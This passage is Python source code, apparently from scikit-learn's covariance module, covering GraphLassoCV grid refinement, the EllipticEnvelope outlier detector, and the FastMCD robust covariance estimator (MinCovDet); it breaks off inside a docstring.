    Attributes
    ----------
    covariance_ : numpy.ndarray, shape (n_features, n_features)
        Estimated covariance matrix.

    precision_ : numpy.ndarray, shape (n_features, n_features)
        Estimated precision matrix (inverse covariance).

    alpha_ : float
        Penalization parameter selected.

    cv_alphas_ : list of float
        All penalization parameters explored.

    `grid_scores`: 2D numpy.ndarray (n_alphas, n_folds)
        Log-likelihood score on left-out data across folds.

    n_iter_ : int
        Number of iterations run for the optimal alpha.

    See Also
    --------
    graph_lasso, GraphLasso

    Notes
    -----
    The search for the optimal penalization parameter (alpha) is done on an
    iteratively refined grid: first the cross-validated scores on a grid are
    computed, then a new refined grid is centered around the maximum, and so
    on.

    One of the challenges which is faced here is that the solvers can
    fail to converge to a well-conditioned estimate. The corresponding
    values of alpha then come out as missing values, but the optimum may
    be close to these missing values.
    """

    def __init__(self, alphas=4, n_refinements=4, cv=None, tol=1e-4,
                 enet_tol=1e-4, max_iter=100, mode='cd', n_jobs=1,
                 verbose=False, assume_centered=False):
        self.alphas = alphas
        self.n_refinements = n_refinements
        self.mode = mode
        self.tol = tol
        self.enet_tol = enet_tol
        self.max_iter = max_iter
        self.verbose = verbose
        self.cv = cv
        self.n_jobs = n_jobs
        self.assume_centered = assume_centered
        # The base class needs this for the score method
        self.store_precision = True

    def fit(self, X, y=None):
        """Fits the GraphLasso covariance model to X.

        Parameters
        ----------
        X : ndarray, shape (n_samples, n_features)
            Data from which to compute the covariance estimate
        """
        # Covariance does not make sense for a single feature
        X = check_array(X, ensure_min_features=2, estimator=self)
        if self.assume_centered:
            self.location_ = np.zeros(X.shape[1])
        else:
            self.location_ = X.mean(0)
        emp_cov = empirical_covariance(
            X, assume_centered=self.assume_centered)

        cv = check_cv(self.cv, y, classifier=False)

        # List of (alpha, scores, covs)
        path = list()
        n_alphas = self.alphas
        inner_verbose = max(0, self.verbose - 1)

        if isinstance(n_alphas, collections.Sequence):
            alphas = self.alphas
            n_refinements = 1
        else:
            n_refinements = self.n_refinements
            alpha_1 = alpha_max(emp_cov)
            alpha_0 = 1e-2 * alpha_1
            alphas = np.logspace(np.log10(alpha_0), np.log10(alpha_1),
                                 n_alphas)[::-1]

        t0 = time.time()
        for i in range(n_refinements):
            with warnings.catch_warnings():
                # No need to see the convergence warnings on this grid:
                # they will always be points that will not converge
                # during the cross-validation
                warnings.simplefilter('ignore', ConvergenceWarning)
                # Compute the cross-validated loss on the current grid

                # NOTE: Warm-restarting graph_lasso_path has been tried, and
                # this did not allow to gain anything (same execution time with
                # or without).
                this_path = Parallel(
                    n_jobs=self.n_jobs,
                    verbose=self.verbose
                )(delayed(graph_lasso_path)(X[train], alphas=alphas,
                                            X_test=X[test], mode=self.mode,
                                            tol=self.tol,
                                            enet_tol=self.enet_tol,
                                            max_iter=int(.1 * self.max_iter),
                                            verbose=inner_verbose)
                  for train, test in cv.split(X, y))

            # Little danse to transform the list in what we need
            covs, _, scores = zip(*this_path)
            covs = zip(*covs)
            scores = zip(*scores)
            path.extend(zip(alphas, scores, covs))
            path = sorted(path, key=operator.itemgetter(0), reverse=True)

            # Find the maximum (avoid using built in 'max' function to
            # have a fully-reproducible selection of the smallest alpha
            # in case of equality)
            best_score = -np.inf
            last_finite_idx = 0
            for index, (alpha, scores, _) in enumerate(path):
                this_score = np.mean(scores)
                if this_score >= .1 / np.finfo(np.float64).eps:
                    this_score = np.nan
                if np.isfinite(this_score):
                    last_finite_idx = index
                if this_score >= best_score:
                    best_score = this_score
                    best_index = index

            # Refine the grid
            if best_index == 0:
                # We do not need to go back: we have chosen
                # the highest value of alpha for which there are
                # non-zero coefficients
                alpha_1 = path[0][0]
                alpha_0 = path[1][0]
            elif (best_index == last_finite_idx
                    and not best_index == len(path) - 1):
                # We have non-converged models on the upper bound of the
                # grid, we need to refine the grid there
                alpha_1 = path[best_index][0]
                alpha_0 = path[best_index + 1][0]
            elif best_index == len(path) - 1:
                alpha_1 = path[best_index][0]
                alpha_0 = 0.01 * path[best_index][0]
            else:
                alpha_1 = path[best_index - 1][0]
                alpha_0 = path[best_index + 1][0]

            if not isinstance(n_alphas, collections.Sequence):
                alphas = np.logspace(np.log10(alpha_1), np.log10(alpha_0),
                                     n_alphas + 2)
                alphas = alphas[1:-1]

            if self.verbose and n_refinements > 1:
                print('[GraphLassoCV] Done refinement % 2i out of %i: % 3is'
                      % (i + 1, n_refinements, time.time() - t0))

        path = list(zip(*path))
        grid_scores = list(path[1])
        alphas = list(path[0])
        # Finally, compute the score with alpha = 0
        alphas.append(0)
        grid_scores.append(cross_val_score(EmpiricalCovariance(), X,
                                           cv=cv, n_jobs=self.n_jobs,
                                           verbose=inner_verbose))
        self.grid_scores = np.array(grid_scores)
        best_alpha = alphas[best_index]
        self.alpha_ = best_alpha
        self.cv_alphas_ = alphas

        # Finally fit the model with the selected alpha
        self.covariance_, self.precision_, self.n_iter_ = graph_lasso(
            emp_cov, alpha=best_alpha, mode=self.mode, tol=self.tol,
            enet_tol=self.enet_tol, max_iter=self.max_iter,
            verbose=inner_verbose, return_n_iter=True)
        return self






"""
The :mod:`sklearn.covariance` module includes methods and algorithms to
robustly estimate the covariance of features given a set of points. The
precision matrix defined as the inverse of the covariance is also estimated.
Covariance estimation is closely related to the theory of Gaussian Graphical
Models.
"""

from .empirical_covariance_ import empirical_covariance, EmpiricalCovariance, \
    log_likelihood
from .shrunk_covariance_ import shrunk_covariance, ShrunkCovariance, \
    ledoit_wolf, ledoit_wolf_shrinkage, \
    LedoitWolf, oas, OAS
from .robust_covariance import fast_mcd, MinCovDet
from .graph_lasso_ import graph_lasso, GraphLasso, GraphLassoCV
from .outlier_detection import EllipticEnvelope


__all__ = ['EllipticEnvelope',
           'EmpiricalCovariance',
           'GraphLasso',
           'GraphLassoCV',
           'LedoitWolf',
           'MinCovDet',
           'OAS',
           'ShrunkCovariance',
           'empirical_covariance',
           'fast_mcd',
           'graph_lasso',
           'ledoit_wolf',
           'ledoit_wolf_shrinkage',
           'log_likelihood',
           'oas',
           'shrunk_covariance']






"""
Class for outlier detection.

This class provides a framework for outlier detection. It consists in
several methods that can be added to a covariance estimator in order to
assess the outlying-ness of the observations of a data set.
Such a "outlier detector" object is proposed constructed from a robust
covariance estimator (the Minimum Covariance Determinant).

"""
# Author: Virgile Fritsch <virgile.fritsch@inria.fr>
#
# License: BSD 3 clause

import numpy as np
import scipy as sp
from . import MinCovDet
from ..base import ClassifierMixin
from ..utils.validation import check_is_fitted


class OutlierDetectionMixin(object):
    """Set of methods for outliers detection with covariance estimators.

    Parameters
    ----------
    contamination : float, 0. < contamination < 0.5
        The amount of contamination of the data set, i.e. the proportion
        of outliers in the data set.

    Notes
    -----
    Outlier detection from covariance estimation may break or not
    perform well in high-dimensional settings. In particular, one will
    always take care to work with ``n_samples > n_features ** 2``.

    """
    def __init__(self, contamination=0.1):
        self.contamination = contamination

    def decision_function(self, X, raw_values=False):
        """Compute the decision function of the given observations.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)

        raw_values : bool
            Whether or not to consider raw Mahalanobis distances as the
            decision function. Must be False (default) for compatibility
            with the others outlier detection tools.

        Returns
        -------
        decision : array-like, shape (n_samples, )
            The values of the decision function for each observations.
            It is equal to the Mahalanobis distances if `raw_values`
            is True. By default (``raw_values=True``), it is equal
            to the cubic root of the shifted Mahalanobis distances.
            In that case, the threshold for being an outlier is 0, which
            ensures a compatibility with other outlier detection tools
            such as the One-Class SVM.

        """
        check_is_fitted(self, 'threshold_')
        mahal_dist = self.mahalanobis(X)
        if raw_values:
            decision = mahal_dist
        else:
            check_is_fitted(self, 'threshold_')
            transformed_mahal_dist = mahal_dist ** 0.33
            decision = self.threshold_ ** 0.33 - transformed_mahal_dist

        return decision

    def predict(self, X):
        """Outlyingness of observations in X according to the fitted model.

        Parameters
        ----------
        X : array-like, shape = (n_samples, n_features)

        Returns
        -------
        is_outliers : array, shape = (n_samples, ), dtype = bool
            For each observations, tells whether or not it should be considered
            as an outlier according to the fitted model.

        threshold : float,
            The values of the less outlying point's decision function.

        """
        check_is_fitted(self, 'threshold_')
        is_inlier = -np.ones(X.shape[0], dtype=int)
        if self.contamination is not None:
            values = self.decision_function(X, raw_values=True)
            is_inlier[values <= self.threshold_] = 1
        else:
            raise NotImplementedError("You must provide a contamination rate.")

        return is_inlier


class EllipticEnvelope(ClassifierMixin, OutlierDetectionMixin, MinCovDet):
    """An object for detecting outliers in a Gaussian distributed dataset.

    Read more in the :ref:`User Guide <outlier_detection>`.

    Attributes
    ----------
    `contamination` : float, 0. < contamination < 0.5
      The amount of contamination of the data set, i.e. the proportion of \
      outliers in the data set.

    location_ : array-like, shape (n_features,)
        Estimated robust location

    covariance_ : array-like, shape (n_features, n_features)
        Estimated robust covariance matrix

    precision_ : array-like, shape (n_features, n_features)
        Estimated pseudo inverse matrix.
        (stored only if store_precision is True)

    support_ : array-like, shape (n_samples,)
        A mask of the observations that have been used to compute the
        robust estimates of location and shape.

    Parameters
    ----------
    store_precision : bool
        Specify if the estimated precision is stored.

    assume_centered : Boolean
        If True, the support of robust location and covariance estimates
        is computed, and a covariance estimate is recomputed from it,
        without centering the data.
        Useful to work with data whose mean is significantly equal to
        zero but is not exactly zero.
        If False, the robust location and covariance are directly computed
        with the FastMCD algorithm without additional treatment.

    support_fraction : float, 0 < support_fraction < 1
        The proportion of points to be included in the support of the raw
        MCD estimate. Default is ``None``, which implies that the minimum
        value of support_fraction will be used within the algorithm:
        `[n_sample + n_features + 1] / 2`.

    contamination : float, 0. < contamination < 0.5
        The amount of contamination of the data set, i.e. the proportion
        of outliers in the data set.

    See Also
    --------
    EmpiricalCovariance, MinCovDet

    Notes
    -----
    Outlier detection from covariance estimation may break or not
    perform well in high-dimensional settings. In particular, one will
    always take care to work with ``n_samples > n_features ** 2``.

    References
    ----------
    ..  [1] Rousseeuw, P.J., Van Driessen, K. "A fast algorithm for the minimum
        covariance determinant estimator" Technometrics 41(3), 212 (1999)

    """
    def __init__(self, store_precision=True, assume_centered=False,
                 support_fraction=None, contamination=0.1,
                 random_state=None):
        MinCovDet.__init__(self, store_precision=store_precision,
                           assume_centered=assume_centered,
                           support_fraction=support_fraction,
                           random_state=random_state)
        OutlierDetectionMixin.__init__(self, contamination=contamination)

    def fit(self, X, y=None):
        MinCovDet.fit(self, X)
        self.threshold_ = sp.stats.scoreatpercentile(
            self.dist_, 100. * (1. - self.contamination))
        return self






"""
Robust location and covariance estimators.

Here are implemented estimators that are resistant to outliers.

"""
# Author: Virgile Fritsch <virgile.fritsch@inria.fr>
#
# License: BSD 3 clause
import warnings
import numbers
import numpy as np
from scipy import linalg
from scipy.stats import chi2

from . import empirical_covariance, EmpiricalCovariance
from ..utils.extmath import fast_logdet, pinvh
from ..utils import check_random_state, check_array


# Minimum Covariance Determinant
#   Implementing of an algorithm by Rousseeuw & Van Driessen described in
#   (A Fast Algorithm for the Minimum Covariance Determinant Estimator,
#   1999, American Statistical Association and the American Society
#   for Quality, TECHNOMETRICS)
# XXX Is this really a public function? It's not listed in the docs or
# exported by sklearn.covariance. Deprecate?
def c_step(X, n_support, remaining_iterations=30, initial_estimates=None,
           verbose=False, cov_computation_method=empirical_covariance,
           random_state=None):
    """C_step procedure described in [Rouseeuw1984]_ aiming at computing MCD.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
        Data set in which we look for the n_support observations whose
        scatter matrix has minimum determinant.

    n_support : int, > n_samples / 2
        Number of observations to compute the robust estimates of location
        and covariance from.

    remaining_iterations : int, optional
        Number of iterations to perform.
        According to [Rouseeuw1999]_, two iterations are sufficient to get
        close to the minimum, and we never need more than 30 to reach
        convergence.

    initial_estimates : 2-tuple, optional
        Initial estimates of location and shape from which to run the c_step
        procedure:
        - initial_estimates[0]: an initial location estimate
        - initial_estimates[1]: an initial covariance estimate

    verbose : boolean, optional
        Verbose mode.

    random_state : integer or numpy.RandomState, optional
        The random generator used. If an integer is given, it fixes the
        seed. Defaults to the global numpy random number generator.

    cov_computation_method : callable, default empirical_covariance
        The function which will be used to compute the covariance.
        Must return shape (n_features, n_features)

    Returns
    -------
    location : array-like, shape (n_features,)
        Robust location estimates.

    covariance : array-like, shape (n_features, n_features)
        Robust covariance estimates.

    support : array-like, shape (n_samples,)
        A mask for the `n_support` observations whose scatter matrix has
        minimum determinant.

    References
    ----------
    .. [Rouseeuw1999] A Fast Algorithm for the Minimum Covariance Determinant
        Estimator, 1999, American Statistical Association and the American
        Society for Quality, TECHNOMETRICS

    """
    X = np.asarray(X)
    random_state = check_random_state(random_state)
    return _c_step(X, n_support, remaining_iterations=remaining_iterations,
                   initial_estimates=initial_estimates, verbose=verbose,
                   cov_computation_method=cov_computation_method,
                   random_state=random_state)


def _c_step(X, n_support, random_state, remaining_iterations=30,
            initial_estimates=None, verbose=False,
            cov_computation_method=empirical_covariance):
    n_samples, n_features = X.shape

    # Initialisation
    support = np.zeros(n_samples, dtype=bool)
    if initial_estimates is None:
        # compute initial robust estimates from a random subset
        support[random_state.permutation(n_samples)[:n_support]] = True
    else:
        # get initial robust estimates from the function parameters
        location = initial_estimates[0]
        covariance = initial_estimates[1]
        # run a special iteration for that case (to get an initial support)
        precision = pinvh(covariance)
        X_centered = X - location
        dist = (np.dot(X_centered, precision) * X_centered).sum(1)
        # compute new estimates
        support[np.argsort(dist)[:n_support]] = True

    X_support = X[support]
    location = X_support.mean(0)
    covariance = cov_computation_method(X_support)

    # Iterative procedure for Minimum Covariance Determinant computation
    det = fast_logdet(covariance)
    previous_det = np.inf
    while (det < previous_det) and (remaining_iterations > 0):
        # save old estimates values
        previous_location = location
        previous_covariance = covariance
        previous_det = det
        previous_support = support
        # compute a new support from the full data set mahalanobis distances
        precision = pinvh(covariance)
        X_centered = X - location
        dist = (np.dot(X_centered, precision) * X_centered).sum(axis=1)
        # compute new estimates
        support = np.zeros(n_samples, dtype=bool)
        support[np.argsort(dist)[:n_support]] = True
        X_support = X[support]
        location = X_support.mean(axis=0)
        covariance = cov_computation_method(X_support)
        det = fast_logdet(covariance)
        # update remaining iterations for early stopping
        remaining_iterations -= 1

    previous_dist = dist
    dist = (np.dot(X - location, precision) * (X - location)).sum(axis=1)
    # Catch computation errors
    if np.isinf(det):
        raise ValueError(
            "Singular covariance matrix. "
            "Please check that the covariance matrix corresponding "
            "to the dataset is full rank and that MinCovDet is used with "
            "Gaussian-distributed data (or at least data drawn from a "
            "unimodal, symmetric distribution.")
    # Check convergence
    if np.allclose(det, previous_det):
        # c_step procedure converged
        if verbose:
            print("Optimal couple (location, covariance) found before"
                  " ending iterations (%d left)" % (remaining_iterations))
        results = location, covariance, det, support, dist
    elif det > previous_det:
        # determinant has increased (should not happen)
        warnings.warn("Warning! det > previous_det (%.15f > %.15f)"
                      % (det, previous_det), RuntimeWarning)
        results = previous_location, previous_covariance, \
            previous_det, previous_support, previous_dist

    # Check early stopping
    if remaining_iterations == 0:
        if verbose:
            print('Maximum number of iterations reached')
        results = location, covariance, det, support, dist

    return results


def select_candidates(X, n_support, n_trials, select=1, n_iter=30,
                      verbose=False,
                      cov_computation_method=empirical_covariance,
                      random_state=None):
    """Finds the best pure subset of observations to compute MCD from it.

    The purpose of this function is to find the best sets of n_support
    observations with respect to a minimization of their covariance
    matrix determinant. Equivalently, it removes n_samples-n_support
    observations to construct what we call a pure data set (i.e. not
    containing outliers). The list of the observations of the pure
    data set is referred to as the `support`.

    Starting from a random support, the pure data set is found by the
    c_step procedure introduced by Rousseeuw and Van Driessen in
    [Rouseeuw1999]_.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
        Data (sub)set in which we look for the n_support purest observations.

    n_support : int, [(n + p + 1)/2] < n_support < n
        The number of samples the pure data set must contain.

    select : int, int > 0
        Number of best candidates results to return.

    n_trials : int, nb_trials > 0 or 2-tuple
        Number of different initial sets of observations from which to
        run the algorithm.
        Instead of giving a number of trials to perform, one can provide a
        list of initial estimates that will be used to iteratively run
        c_step procedures. In this case:
        - n_trials[0]: array-like, shape (n_trials, n_features)
          is the list of `n_trials` initial location estimates
        - n_trials[1]: array-like, shape (n_trials, n_features, n_features)
          is the list of `n_trials` initial covariances estimates

    n_iter : int, nb_iter > 0
        Maximum number of iterations for the c_step procedure.
        (2 is enough to be close to the final solution. "Never" exceeds 20).

    random_state : integer or numpy.RandomState, default None
        The random generator used. If an integer is given, it fixes the
        seed. Defaults to the global numpy random number generator.

    cov_computation_method : callable, default empirical_covariance
        The function which will be used to compute the covariance.
        Must return shape (n_features, n_features)

    verbose : boolean, default False
        Control the output verbosity.

    See Also
    ---------
    c_step

    Returns
    -------
    best_locations : array-like, shape (select, n_features)
        The `select` location estimates computed from the `select` best
        supports found in the data set (`X`).

    best_covariances : array-like, shape (select, n_features, n_features)
        The `select` covariance estimates computed from the `select`
        best supports found in the data set (`X`).

    best_supports : array-like, shape (select, n_samples)
        The `select` best supports found in the data set (`X`).

    References
    ----------
    .. [Rouseeuw1999] A Fast Algorithm for the Minimum Covariance Determinant
        Estimator, 1999, American Statistical Association and the American
        Society for Quality, TECHNOMETRICS

    """
    random_state = check_random_state(random_state)
    n_samples, n_features = X.shape

    if isinstance(n_trials, numbers.Integral):
        run_from_estimates = False
    elif isinstance(n_trials, tuple):
        run_from_estimates = True
        estimates_list = n_trials
        n_trials = estimates_list[0].shape[0]
    else:
        raise TypeError("Invalid 'n_trials' parameter, expected tuple or "
                        " integer, got %s (%s)" % (n_trials, type(n_trials)))

    # compute `n_trials` location and shape estimates candidates in the subset
    all_estimates = []
    if not run_from_estimates:
        # perform `n_trials` computations from random initial supports
        for j in range(n_trials):
            all_estimates.append(
                _c_step(
                    X, n_support, remaining_iterations=n_iter, verbose=verbose,
                    cov_computation_method=cov_computation_method,
                    random_state=random_state))
    else:
        # perform computations from every given initial estimates
        for j in range(n_trials):
            initial_estimates = (estimates_list[0][j], estimates_list[1][j])
            all_estimates.append(_c_step(
                X, n_support, remaining_iterations=n_iter,
                initial_estimates=initial_estimates, verbose=verbose,
                cov_computation_method=cov_computation_method,
                random_state=random_state))
    all_locs_sub, all_covs_sub, all_dets_sub, all_supports_sub, all_ds_sub = \
        zip(*all_estimates)
    # find the `n_best` best results among the `n_trials` ones
    index_best = np.argsort(all_dets_sub)[:select]
    best_locations = np.asarray(all_locs_sub)[index_best]
    best_covariances = np.asarray(all_covs_sub)[index_best]
    best_supports = np.asarray(all_supports_sub)[index_best]
    best_ds = np.asarray(all_ds_sub)[index_best]

    return best_locations, best_covariances, best_supports, best_ds


def fast_mcd(X, support_fraction=None,
             cov_computation_method=empirical_covariance,
             random_state=None):
    """Estimates the Minimum Covariance Determinant matrix.

    Read more in the :ref:`User Guide <robust_covariance>`.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
      The data matrix, with p features and n samples.

    support_fraction : float, 0 < support_fraction < 1
          The proportion of points to be included in the support of the raw
          MCD estimate. Default is None, which implies that the minimum
          value of support_fraction will be used within the algorithm:
          `[n_sample + n_features + 1] / 2`.

    random_state : integer or numpy.RandomState, optional
        The generator used to randomly subsample. If an integer is
        given, it fixes the seed. Defaults to the global numpy random
        number generator.

    cov_computation_method : callable, default empirical_covariance
        The function which will be used to compute the covariance.
        Must return shape (n_features, n_features)

    Notes
    -----
    The FastMCD algorithm has been introduced by Rousseuw and Van Driessen
    in "A Fast Algorithm for the Minimum Covariance Determinant Estimator,
    1999, American Statistical Association and the American Society
    for Quality, TECHNOMETRICS".
    The principle is to compute robust estimates and random subsets before
    pooling them into a larger subsets, and finally into the full data set.
    Depending on the size of the initial sample, we have one, two or three
    such computation levels.

    Note that only raw estimates are returned. If one is interested in
    the correction and reweighting steps described in [Rouseeuw1999]_,
    see the MinCovDet object.

    References
    ----------

    .. [Rouseeuw1999] A Fast Algorithm for the Minimum Covariance
        Determinant Estimator, 1999, American Statistical Association
        and the American Society for Quality, TECHNOMETRICS

    .. [Butler1993] R. W. Butler, P. L. Davies and M. Jhun,
        Asymptotics For The Minimum Covariance Determinant Estimator,
        The Annals of Statistics, 1993, Vol. 21, No. 3, 1385-1400

    Returns
    -------
    location : array-like, shape (n_features,)
        Robust location of the data.

    covariance : array-like, shape (n_features, n_features)
        Robust covariance of the features.

    support : array-like, type boolean, shape (n_samples,)
        A mask of the observations that have been used to compute
        the robust location and covariance estimates of the data set.

    """
    random_state = check_random_state(random_state)

    X = check_array(X, ensure_min_samples=2, estimator='fast_mcd')
    n_samples, n_features = X.shape

    # minimum breakdown value
    if support_fraction is None:
        n_support = int(np.ceil(0.5 * (n_samples + n_features + 1)))
    else:
        n_support = int(support_fraction * n_samples)

    # 1-dimensional case quick computation
    # (Rousseeuw, P. J. and Leroy, A. M. (2005) References, in Robust
    #  Regression and Outlier Detection, John Wiley & Sons, chapter 4)
    if n_features == 1:
        if n_support < n_samples:
            # find the sample shortest halves
            X_sorted = np.sort(np.ravel(X))
            diff = X_sorted[n_support:] - X_sorted[:(n_samples - n_support)]
            halves_start = np.where(diff == np.min(diff))[0]
            # take the middle points' mean to get the robust location estimate
            location = 0.5 * (X_sorted[n_support + halves_start]
                              + X_sorted[halves_start]).mean()
            support = np.zeros(n_samples, dtype=bool)
            X_centered = X - location
            support[np.argsort(np.abs(X_centered), 0)[:n_support]] = True
            covariance = np.asarray([[np.var(X[support])]])
            location = np.array([location])
            # get precision matrix in an optimized way
            precision = pinvh(covariance)
            dist = (np.dot(X_centered, precision) * (X_centered)).sum(axis=1)
        else:
            support = np.ones(n_samples, dtype=bool)
            covariance = np.asarray([[np.var(X)]])
            location = np.asarray([np.mean(X)])
            X_centered = X - location
            # get precision matrix in an optimized way
            precision = pinvh(covariance)
            dist = (np.dot(X_centered, precision) * (X_centered)).sum(axis=1)
# Starting FastMCD algorithm for p-dimensional case
    if (n_samples > 500) and (n_features > 1):
        # 1. Find candidate supports on subsets
        # a. split the set in subsets of size ~ 300
        n_subsets = n_samples // 300
        n_samples_subsets = n_samples // n_subsets
        samples_shuffle = random_state.permutation(n_samples)
        h_subset = int(np.ceil(n_samples_subsets *
                       (n_support / float(n_samples))))
        # b. perform a total of 500 trials
        n_trials_tot = 500
        # c. select 10 best (location, covariance) for each subset
        n_best_sub = 10
        n_trials = max(10, n_trials_tot // n_subsets)
        n_best_tot = n_subsets * n_best_sub
        all_best_locations = np.zeros((n_best_tot, n_features))
        try:
            all_best_covariances = np.zeros((n_best_tot, n_features,
                                             n_features))
        except MemoryError:
            # The above is too big. Let's try with something much small
            # (and less optimal)
            all_best_covariances = np.zeros((n_best_tot, n_features,
                                             n_features))
            n_best_tot = 10
            n_best_sub = 2
        for i in range(n_subsets):
            low_bound = i * n_samples_subsets
            high_bound = low_bound + n_samples_subsets
            current_subset = X[samples_shuffle[low_bound:high_bound]]
            best_locations_sub, best_covariances_sub, _, _ = select_candidates(
                current_subset, h_subset, n_trials,
                select=n_best_sub, n_iter=2,
                cov_computation_method=cov_computation_method,
                random_state=random_state)
            subset_slice = np.arange(i * n_best_sub, (i + 1) * n_best_sub)
            all_best_locations[subset_slice] = best_locations_sub
            all_best_covariances[subset_slice] = best_covariances_sub
        # 2. Pool the candidate supports into a merged set
        # (possibly the full dataset)
        n_samples_merged = min(1500, n_samples)
        h_merged = int(np.ceil(n_samples_merged *
                       (n_support / float(n_samples))))
        if n_samples > 1500:
            n_best_merged = 10
        else:
            n_best_merged = 1
        # find the best couples (location, covariance) on the merged set
        selection = random_state.permutation(n_samples)[:n_samples_merged]
        locations_merged, covariances_merged, supports_merged, d = \
            select_candidates(
                X[selection], h_merged,
                n_trials=(all_best_locations, all_best_covariances),
                select=n_best_merged,
                cov_computation_method=cov_computation_method,
                random_state=random_state)
        # 3. Finally get the overall best (locations, covariance) couple
        if n_samples < 1500:
            # directly get the best couple (location, covariance)
            location = locations_merged[0]
            covariance = covariances_merged[0]
            support = np.zeros(n_samples, dtype=bool)
            dist = np.zeros(n_samples)
            support[selection] = supports_merged[0]
            dist[selection] = d[0]
        else:
            # select the best couple on the full dataset
            locations_full, covariances_full, supports_full, d = \
                select_candidates(
                    X, n_support,
                    n_trials=(locations_merged, covariances_merged),
                    select=1,
                    cov_computation_method=cov_computation_method,
                    random_state=random_state)
            location = locations_full[0]
            covariance = covariances_full[0]
            support = supports_full[0]
            dist = d[0]
    elif n_features > 1:
        # 1. Find the 10 best couples (location, covariance)
        # considering two iterations
        n_trials = 30
        n_best = 10
        locations_best, covariances_best, _, _ = select_candidates(
            X, n_support, n_trials=n_trials, select=n_best, n_iter=2,
            cov_computation_method=cov_computation_method,
            random_state=random_state)
        # 2. Select the best couple on the full dataset amongst the 10
        locations_full, covariances_full, supports_full, d = select_candidates(
            X, n_support, n_trials=(locations_best, covariances_best),
            select=1, cov_computation_method=cov_computation_method,
            random_state=random_state)
        location = locations_full[0]
        covariance = covariances_full[0]
        support = supports_full[0]
        dist = d[0]

    return location, covariance, support, dist


class MinCovDet(EmpiricalCovariance):
    """Minimum Covariance Determinant (MCD): robust estimator of covariance.

    The Minimum Covariance Determinant covariance estimator is to be applied
    on Gaussian-distributed data, but could still be relevant on data
    drawn from a unimodal, symmetric distribution. It is not meant to be used
    with multi-modal data (the algorithm used to fit a MinCovDet object is
    likely to fail in such a case).
    One should consider projection pursuit methods to deal with multi-modal
    datasets.

    Read more in the :ref:`User Guide <robust_covariance>`.

    Parameters
    ----------
    store_precision : bool
        Specify if the estimated precision is stored.

    assume_centered : Boolean
        If True, the support of the robust location and the covariance
        estimates is computed, and a covariance estimate is recomputed from
        it, without centering the data.
        Useful to work with data whose mean is significantly equal to
        zero but is not exactly zero.
        If False, the robust location and covariance are directly computed
        with the FastMCD algorithm without additional treatment.

    support_fraction : float, 0 < support_fraction < 1
        The proportion of points to be included in the support of the raw
        MCD estimate. Default is None, which implies that the minimum
        value of support_fraction will be used within the algorithm:
        [n_sample + n_features + 1] / 2

    random_state : integer or numpy.RandomState, optional
        The random generator used. If an integer is given, it fixes the
        seed. Defaults to the global numpy random number generator.

    Attributes
    ----------
    raw_location_ : array-like, shape (n_features,)
        The raw robust estimated location before correction and re-weighting.

    raw_covariance_ : array-like, shape (n_features, n_features)
        The raw robust estimated covariance before correction and re-weighting.

    raw_support_ : array-like, shape (n_samples,)
        A mask of the observations that have been used to compute
        the raw robust estimates of location and shape, before correction
        and re-weighting.

    location_ : array-like, shape (n_features,)
        Estimated robust location

    covariance_ : array-like, shape (n_features, n_features)
        Estimated robust covariance matrix

    precision_ : array-like, shape (n_features, n_features)
        Estimated pseudo inverse matrix.
        (stored only if store_precision is True)

    support_ : array-like, shape (n_samples,)
        A mask of the observations that have been used to compute
        the robust estimates of location and shape.

    dist_ : array-like, shape (n_samples,)
        Mahalanobis distances of the training set (on which `fit` is called)
        observations.

    References
    ----------

    .. [Rouseeuw1984] `P. J. Rousseeuw. Least median of squares regression.
        J. Am Stat Ass, 79:871, 1984.`
    .. [Rouseeuw1999] `A Fast Algorithm for the Minimum Covariance Determinant
        Estimator, 1999, American Statistical Association and the American
        Society for Quality, TECHNOMETRICS`
    .. [Butler1993] `R. W. Butler, P. L. Davies and M. Jhun,
        Asymptotics For The Minimum Covariance Determinant Estimator,
        The Annals of Statistics, 1993, Vol. 21, No. 3, 1385-1400`

    """
    _nonrobust_covariance = staticmethod(empirical_covariance)

    def __init__(self, store_precision=True, assume_centered=False,
                 support_fraction=None, random_state=None):
        self.store_precision = store_precision
        self.assume_centered = assume_centered
        self.support_fraction = support_fraction
        self.random_state = random_state

    def fit(self, X, y=None):
        """Fits a Minimum Covariance Determinant with the FastMCD algorithm.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Training data, where n_samples is the number of samples
            and n_features is the number of features.

        y : not used, present for API consistence purpose.

        Returns
        -------
        self : object
            Returns self.

        """
        X = check_array(X, ensure_min_samples=2, estimator='MinCovDet')
        random_state = check_random_state(self.random_state)
        n_samples, n_features = X.shape
        # check that the empirical covariance is full rank
        if (linalg.svdvals(np.dot(X.T, X)) > 1e-8).sum() != n_features:
            warnings.warn("The covariance matrix associated to your dataset "
                          "is not full rank")
        # compute and store raw estimates
        raw_location, raw_covariance, raw_support, raw_dist = fast_mcd(
            X, support_fraction=self.support_fraction,
            cov_computation_method=self._nonrobust_covariance,
            random_state=random_state)
        if self.assume_centered:
            raw_location = np.zeros(n_features)
            raw_covariance = self._nonrobust_covariance(X[raw_support],
                                                        assume_centered=True)
            # get precision matrix in an optimized way
            precision = pinvh(raw_covariance)
            raw_dist = np.sum(np.dot(X, precision) * X, 1)
        self.raw_location_ = raw_location
        self.raw_covariance_ = raw_covariance
        self.raw_support_ = raw_support
        self.location_ = raw_location
        self.support_ = raw_support
        self.dist_ = raw_dist
        # obtain consistency at normal models
        self.correct_covariance(X)
        # re-weight estimator
        self.reweight_covariance(X)

        return self

    def correct_covariance(self, data):
        """Apply a correction to raw Minimum Covariance Determinant estimates.

        Correction using the empirical correction factor suggested
        by Rousseeuw and Van Driessen in [Rouseeuw1984]_.

        Parameters
        ----------
        data : array-like, shape (n_samples, n_features)
            The data matrix, with p features and n samples.
            The data set must be the one which was used to compute
            the raw estimates.

        Returns
        -------
        covariance_corrected : array-like, shape (n_features, n_features)
            Corrected robust covariance estimate.

        """
        correction = np.median(self.dist_) / chi2(data.shape[1]).isf(0.5)
        covariance_corrected = self.raw_covariance_ * correction
        self.dist_ /= correction
        return covariance_corrected

    def reweight_covariance(self, data):
        """Re-weight raw Minimum Covariance Determinant estimates.

        Re-weight observations using Rousseeuw's method (equivalent to
        deleting outlying observations from the data set before
        computing location and covariance estimates). [Rouseeuw1984]_

        Parameters
        ----------
        data : array-like, shape (n_samples, n_features)
            The data matrix, with p features and n samples.
            The data set must be the one which was used to compute
            the raw estimates.

        Returns
        -------
